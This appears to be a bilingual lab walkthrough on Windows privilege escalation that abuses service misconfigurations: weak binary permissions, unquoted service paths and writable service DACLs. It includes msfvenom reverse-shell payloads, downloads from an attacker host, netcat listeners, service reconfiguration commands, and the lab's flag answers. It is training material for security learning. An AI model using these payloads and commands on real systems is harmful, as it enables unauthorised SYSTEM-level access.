&lt;p&gt;A subkey exists for every service in the system. Again, we can see the associated executable on the &lt;strong&gt;ImagePath&lt;/strong&gt; value and the account used to start the service on the &lt;strong&gt;ObjectName&lt;/strong&gt; value. If a &lt;u&gt;DACL&lt;/u&gt; has been configured for the service, it will be stored in a subkey called &lt;strong&gt;Security&lt;/strong&gt;. As you have guessed by now, only administrators can modify such registry entries by default.&lt;br&gt;系统中的每个服务都存在一个子项。同样，我们可以在 ImagePath 值上看到关联的可执行文件，在 ObjectName 值上看到用于启动服务的帐户。如果已为服务配置了 DACL，则该 DACL 将存储在名为 Security 的子项中。正如您现在已经猜到的那样，默认情况下，只有管理员可以修改此类注册表项。&lt;/p&gt;
&lt;h2&gt;Insecure Permissions on Service Executable&lt;/h2&gt;
&lt;p&gt;服务可执行文件的不安全权限
If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service&amp;#39;s account trivially.&lt;br&gt;如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限，则攻击者可以轻而易举地获得服务帐户的权限。&lt;/p&gt;
&lt;p&gt;To understand how this works, let&amp;#39;s look at a vulnerability found on Splinterware System Scheduler. To start, we will query the service configuration using &lt;strong&gt;sc&lt;/strong&gt;:&lt;br&gt;为了了解其工作原理，让我们看一下在 Splinterware System Scheduler 上发现的一个漏洞。首先，我们将使用以下命令 &lt;strong&gt;sc&lt;/strong&gt; 查询服务配置：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in &lt;strong&gt;C:\Progra&lt;del&gt;2\System&lt;/del&gt;1\WService.exe&lt;/strong&gt;. We then proceed to check the permissions on the executable:&lt;br&gt;我们可以看到，易受攻击的软件安装的服务以 svcuser1 的身份运行，并且与该服务关联的可执行文件位于 &lt;strong&gt;C:\Progra&lt;del&gt;2\System&lt;/del&gt;1\WService.exe&lt;/strong&gt; .然后，我们继续检查可执行文件的权限：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;And here we have something interesting. The Everyone group has modify permissions (M) on the service&amp;#39;s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.&lt;br&gt;在这里，我们有一些有趣的东西。Everyone 组对服务的可执行文件具有修改权限 （M）。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它，并且服务将使用已配置用户帐户的权限执行它。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s generate an exe-service payload using msfvenom and serve it through a python webserver:&lt;br&gt;让我们使用 msfvenom 生成一个 exe-service 有效负载，并通过 python Web 服务器提供它：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;We can then pull the payload from Powershell with the following command:&lt;br&gt;然后，我们可以使用以下命令从 Powershell 中拉取有效负载：&lt;/p&gt;
&lt;p&gt;Powershell Powershell的&lt;/p&gt;
&lt;p&gt;Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we&amp;#39;ll want to grant full permissions to the Everyone group as well:&lt;br&gt;有效负载位于 Windows 服务器中后，我们将继续用有效负载替换服务可执行文件。由于我们需要另一个用户来执行有效负载，因此我们也希望向 Everyone 组授予完全权限：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;We start a reverse listener on our attacker machine:&lt;br&gt;我们在攻击者机器上启动一个反向侦听器：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, you have been assigned privileges to restart the service yourself to save you some time. Use the following commands from a cmd.exe command prompt:&lt;br&gt;最后，重新启动服务。虽然在正常情况下，您可能需要等待服务重新启动，但已为您分配了自行重新启动服务的权限，以节省一些时间。在cmd.exe命令提示符下使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;**Note: **&lt;u&gt;PowerShell&lt;/u&gt; has &lt;strong&gt;sc&lt;/strong&gt; as an alias to &lt;strong&gt;Set-Content&lt;/strong&gt;, therefore you need to use &lt;strong&gt;sc.exe&lt;/strong&gt; in order to control services with &lt;u&gt;PowerShell&lt;/u&gt; this way.&lt;br&gt;注意：PowerShell 的 &lt;strong&gt;sc&lt;/strong&gt; 别名为 &lt;strong&gt;Set-Content&lt;/strong&gt; ，因此需要使用 &lt;strong&gt;sc.exe&lt;/strong&gt; 才能以这种方式使用 PowerShell 控制服务。&lt;/p&gt;
&lt;p&gt;As a result, you&amp;#39;ll get a reverse shell with svcusr1 privileges:&lt;br&gt;因此，您将获得具有 svcusr1 权限的反向 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Go to svcusr1 desktop to retrieve a flag. Don&amp;#39;t forget to input the flag at the end of this task.&lt;br&gt;转到 svcusr1 桌面以检索标志。不要忘记在此任务结束时输入标志。&lt;/p&gt;
&lt;h2&gt;Unquoted Service Paths 未加引号的服务路径&lt;/h2&gt;
&lt;p&gt;When we can&amp;#39;t directly write into service executables as before, there might still be a chance to force a service into running arbitrary executables by using a rather obscure feature.&lt;br&gt;当我们不能像以前那样直接写入服务可执行文件时，可能仍然有机会通过使用一个相当晦涩的功能来强制服务运行任意可执行文件。&lt;/p&gt;
&lt;p&gt;When working with Windows services, a very particular behaviour occurs when the service is configured to point to an &amp;quot;unquoted&amp;quot; executable. By unquoted, we mean that the path of the associated executable isn&amp;#39;t properly quoted to account for spaces on the command.&lt;br&gt;使用 Windows 服务时，当服务配置为指向“未带引号”的可执行文件时，会发生非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径以考虑命令上的空格。&lt;/p&gt;
&lt;p&gt;As an example, let&amp;#39;s look at the difference between two services (these services are used as examples only and might not be available in your machine). The first service will use a proper quotation so that the SCM knows without a doubt that it has to execute the binary file pointed by &lt;strong&gt;&amp;quot;C:\Program Files\RealVNC\VNC Server\vncserver.exe&amp;quot;&lt;/strong&gt;, followed by the given parameters:&lt;br&gt;例如，让我们看一下两个服务之间的区别（这些服务仅用作示例，可能在您的计算机中不可用）。第一个服务将使用适当的引号，以便 SCM 毫无疑问地知道它必须执行指向 &lt;strong&gt;&amp;quot;C:\Program Files\RealVNC\VNC Server\vncserver.exe&amp;quot;&lt;/strong&gt; 的二进制文件，后跟给定的参数：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember: PowerShell has &amp;#39;sc&amp;#39; as an alias to &amp;#39;Set-Content&amp;#39;, therefore you need to use &amp;#39;sc.exe&amp;#39; to control services if you are in a&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;&lt;u&gt;PowerShell&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;prompt.&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;**&lt;strong&gt;请记住：PowerShell 将“sc”作为“Set-Content”的别名，因此，如果处于 PowerShell 提示符中，则需要使用“sc.exe”来控制服务。&lt;/strong&gt;&lt;br&gt;Now let&amp;#39;s look at another service without proper quotation:&lt;br&gt;现在让我们看看另一个没有正确报价的服务：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the &amp;quot;Disk Sorter Enterprise&amp;quot; folder, the command becomes ambiguous, and the SCM doesn&amp;#39;t know which of the following you are trying to execute:&lt;br&gt;当 SCM 尝试执行关联的二进制文件时，会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格，因此该命令变得不明确，并且 SCM 不知道您尝试执行以下哪一项：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Argument 1&lt;/th&gt;
&lt;th&gt;Argument 2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;C:\MyPrograms\Disk.exe C：\MyPrograms\Disk.exe&lt;/td&gt;
&lt;td&gt;Sorter&lt;/td&gt;
&lt;td&gt;Enterprise\bin\disksrs.exe   企业\bin\disksrs.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C:\MyPrograms\Disk Sorter.exe   C：\MyPrograms\磁盘Sorter.exe&lt;/td&gt;
&lt;td&gt;Enterprise\bin\disksrs.exe   企业\bin\disksrs.exe&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe   C：\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This has to do with how the command prompt parses a command. Usually, when you send a command, spaces are used as argument separators unless they are part of a quoted string. This means the &amp;quot;right&amp;quot; interpretation of the unquoted command would be to execute &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt; and take the rest as arguments.&lt;br&gt;这与命令提示符分析命令的方式有关。通常，当您发送命令时，空格用作参数分隔符，除非它们是带引号的字符串的一部分。这意味着对未加引号的命令的“正确”解释是执行 &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt; 并将其余命令作为参数。&lt;/p&gt;
&lt;p&gt;Instead of failing as it probably should, SCM tries to help the user and starts searching for each of the binaries in the order shown in the table:&lt;br&gt;SCM 没有像它应该的那样失败，而是尝试帮助用户并开始按表中所示的顺序搜索每个二进制文件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First, search for &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt;. If it exists, the service will run this executable.&lt;br&gt;首先，搜索 &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt; .如果存在，服务将运行此可执行文件。&lt;/li&gt;
&lt;li&gt;If the latter doesn&amp;#39;t exist, it will then search for &lt;strong&gt;C:\MyPrograms\Disk Sorter.exe&lt;/strong&gt;. If it exists, the service will run this executable.&lt;br&gt;如果后者不存在，它将搜索 &lt;strong&gt;C:\MyPrograms\Disk Sorter.exe&lt;/strong&gt; .如果存在，服务将运行此可执行文件。&lt;/li&gt;
&lt;li&gt;If the latter doesn&amp;#39;t exist, it will then search for &lt;strong&gt;C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe&lt;/strong&gt;. This option is expected to succeed and will typically be run in a default installation.&lt;br&gt;如果后者不存在，它将搜索 &lt;strong&gt;C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe&lt;/strong&gt; .此选项预计会成功，并且通常会在默认安装中运行。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From this behaviour, the problem becomes evident. If an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.&lt;br&gt;从这种行为中，问题变得显而易见。如果攻击者在预期的服务可执行文件之前创建搜索的任何可执行文件，他们可以强制服务运行任意可执行文件。&lt;/p&gt;
&lt;p&gt;While this sounds trivial, most of the service executables will be installed under &lt;strong&gt;C:\Program Files&lt;/strong&gt; or &lt;strong&gt;C:\Program Files (x86)&lt;/strong&gt; by default, which isn&amp;#39;t writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.&lt;br&gt;虽然这听起来微不足道，但大多数服务可执行文件都将默认安装 &lt;strong&gt;C:\Program Files&lt;/strong&gt; &lt;strong&gt;C:\Program Files (x86)&lt;/strong&gt; ，非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则有例外： - 某些安装程序会更改已安装文件夹的权限，从而使服务容易受到攻击。- 管理员可能决定在非默认路径中安装服务二进制文件。如果这样的路径是全局可写的，则可以利用该漏洞。&lt;/p&gt;
&lt;p&gt;In our case, the Administrator installed the Disk Sorter binaries under &lt;strong&gt;c:\MyPrograms&lt;/strong&gt;. By default, this inherits the permissions of the *&lt;em&gt;C:*&lt;/em&gt; directory, which allows any user to create files and folders in it. We can check this using &lt;strong&gt;icacls&lt;/strong&gt;:&lt;br&gt;在我们的例子中，管理员在 &lt;strong&gt;c:\MyPrograms&lt;/strong&gt; 下安装了磁盘分类器二进制文件。默认情况下，这将继承 *&lt;em&gt;C:*&lt;/em&gt; 目录的权限，这允许任何用户在其中创建文件和文件夹。我们可以使用以下方法 &lt;strong&gt;icacls&lt;/strong&gt; 进行检查：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;BUILTIN\Users&lt;/strong&gt; group has &lt;strong&gt;&lt;u&gt;AD&lt;/u&gt;&lt;/strong&gt; and &lt;strong&gt;WD&lt;/strong&gt; privileges, allowing the user to create subdirectories and files, respectively.&lt;br&gt;该 &lt;strong&gt;BUILTIN\Users&lt;/strong&gt; 组具有 AD 和 WD 权限，允许用户分别创建子目录和文件。&lt;/p&gt;
&lt;p&gt;The process of creating an exe-service payload with msfvenom and transferring it to the target host is the same as before, so feel free to create the following payload and upload it to the server as before. We will also start a listener to receive the reverse shell when it gets executed:&lt;br&gt;使用 msfvenom 创建 exe-service 有效负载并将其传输到目标主机的过程与之前相同，因此请随意创建以下有效负载并像以前一样将其上传到服务器。我们还将启动一个侦听器，以便在执行时接收反向 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Once the payload is in the server, move it to any of the locations where hijacking might occur. In this case, we will be moving our payload to &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt;. We will also grant Everyone full permissions on the file to make sure it can be executed by the service:&lt;br&gt;有效负载进入服务器后，将其移动到可能发生劫持的任何位置。在这种情况下，我们会将有效载荷移动到 &lt;strong&gt;C:\MyPrograms\Disk.exe&lt;/strong&gt; 。我们还将授予 Everyone 对文件的完全权限，以确保服务可以执行该文件：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;Once the service gets restarted, your payload should execute:&lt;br&gt;重新启动服务后，有效负载应执行：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;As a result, you&amp;#39;ll get a reverse shell with svcusr2 privileges:&lt;br&gt;因此，您将获得一个具有 svcusr2 权限的反向 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Go to svcusr2 desktop to retrieve a flag. Don&amp;#39;t forget to input the flag at the end of this task.&lt;br&gt;转到 svcusr2 桌面以检索标志。不要忘记在此任务结束时输入标志。&lt;/p&gt;
&lt;h2&gt;Insecure Service Permissions&lt;/h2&gt;
&lt;p&gt;不安全的服务权限
You might still have a slight chance of taking advantage of a service if the service&amp;#39;s executable DACL is well configured, and the service&amp;#39;s binary path is rightly quoted. Should the service DACL (not the service&amp;#39;s executable &lt;u&gt;DACL&lt;/u&gt;) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.&lt;br&gt;如果服务的可执行 DACL 配置良好，并且正确引用了服务的二进制路径，则可能仍有很小的机会利用该服务。如果服务 DACL（不是服务的可执行 DACL）允许您修改服务的配置，则可以重新配置服务。这将允许您指向所需的任何可执行文件，并使用您喜欢的任何帐户（包括 SYSTEM 本身）运行它。&lt;/p&gt;
&lt;p&gt;To check for a service DACL from the command line, you can use &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk&quot;&gt;Accesschk&lt;/a&gt; from the Sysinternals suite. For your convenience, a copy is available at &lt;strong&gt;C:\tools&lt;/strong&gt;. The command to check for the thmservice service &lt;u&gt;DACL&lt;/u&gt; is:&lt;br&gt;若要从命令行检查服务 DACL，可以使用 Sysinternals 套件中的 Accesschk。为方便起见，可在 &lt;strong&gt;C:\tools&lt;/strong&gt; 上获取副本。检查 thmservice 服务 DACL 的命令为：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;Here we can see that the &lt;strong&gt;BUILTIN\Users&lt;/strong&gt; group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.&lt;br&gt;在这里我们可以看到该 &lt;strong&gt;BUILTIN\Users&lt;/strong&gt; 组具有SERVICE_ALL_ACCESS权限，这意味着任何用户都可以重新配置服务。&lt;/p&gt;
&lt;p&gt;Before changing the service, let&amp;#39;s build another exe-service reverse shell and start a listener for it on the attacker&amp;#39;s machine:&lt;br&gt;在更改服务之前，让我们构建另一个 exe-service 反向 shell，并在攻击者的机器上为其启动一个侦听器：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;We will then transfer the reverse shell executable to the target machine and store it in &lt;strong&gt;C:\Users\thm-unpriv\rev-svc3.exe&lt;/strong&gt;. Feel free to use wget to transfer your executable and move it to the desired location. Remember to grant permissions to Everyone to execute your payload:&lt;br&gt;然后，我们将反向 shell 可执行文件传输到目标计算机并将其存储在 &lt;strong&gt;C:\Users\thm-unpriv\rev-svc3.exe&lt;/strong&gt; .随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住向 Everyone 授予执行有效负载的权限：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;To change the service&amp;#39;s associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):&lt;br&gt;要更改服务的关联可执行文件和帐户，我们可以使用以下命令（使用 sc.exe 时请注意等号后面的空格）：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;Notice we can use any account to run the service. We chose LocalSystem as it is the highest privileged account available. To trigger our payload, all that rests is restarting the service:&lt;br&gt;请注意，我们可以使用任何帐户来运行该服务。我们选择了 LocalSystem，因为它是可用的最高特权帐户。要触发我们的有效负载，剩下的就是重新启动服务：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;p&gt;And we will receive a shell back in our attacker&amp;#39;s machine with SYSTEM privileges:&lt;br&gt;我们将在攻击者的机器中收到一个具有系统权限的 shell：&lt;/p&gt;
&lt;p&gt;Kali 卡莉&lt;u&gt;Linux&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;Linux操作系统&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Go to the Administrator&amp;#39;s desktop to retrieve a flag. Don&amp;#39;t forget to input the flag at the end of this task.&lt;br&gt;转到管理员的桌面以检索标志。不要忘记在此任务结束时输入标志。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\Users\thm-unpriv&amp;gt;icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1&amp;gt; move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1&amp;gt; move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1&amp;gt; icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4445
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc stop windowsscheduler
C:\&amp;gt; sc start windowsscheduler
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
wprivesc1\svcusr1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc qc &amp;quot;vncserver&amp;quot;
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : &amp;quot;C:\Program Files\RealVNC\VNC Server\vncserver.exe&amp;quot; -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc qc &amp;quot;disk sorter enterprise&amp;quot;
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

user@attackerpc$ nc -lvp 4446
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\&amp;gt; icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc stop &amp;quot;disk sorter enterprise&amp;quot;
C:\&amp;gt; sc start &amp;quot;disk sorter enterprise&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
wprivesc1\svcusr2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\tools\AccessChk&amp;gt; accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc config THMService binPath= &amp;quot;C:\Users\thm-unpriv\rev-svc3.exe&amp;quot; obj= LocalSystem
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc stop THMService
C:\&amp;gt; sc start THMService
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
NT AUTHORITY\SYSTEM
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Get the flag on svcusr1&amp;#39;s desktop.&lt;br&gt;在 svcusr1 的桌面上获取标志。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; THM{AT_YOUR_SERVICE}&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Get the flag on svcusr2&amp;#39;s desktop.&lt;br&gt;在 svcusr2 的桌面上获取标志。  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; THM{QUOTES_EVERYWHERE}&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Get the flag on the Administrator&amp;#39;s desktop.&lt;br&gt;在管理员的桌面上获取标志。&lt;/p&gt;
&lt;p&gt;THM{INSECURE_SVC_CONFIG}&lt;/p&gt;
&lt;h1&gt;Abusing dangerous privileges&lt;/h1&gt;
&lt;h2&gt;Windows Privileges Windows 权限&lt;/h2&gt;
&lt;p&gt;Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some &lt;u&gt;DACL&lt;/u&gt;-based access controls.&lt;br&gt;权限是帐户执行特定系统相关任务时必须具备的权限。这些任务可以像关闭计算机的权限一样简单，也可以绕过某些基于 DACL 的访问控制的权限。&lt;/p&gt;
&lt;p&gt;Each user has a set of assigned privileges that can be checked with the following command:&lt;br&gt;每个用户都有一组分配的权限，可以使用以下命令进行检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;whoami /priv
&lt;/code&gt;&lt;/pre&gt;
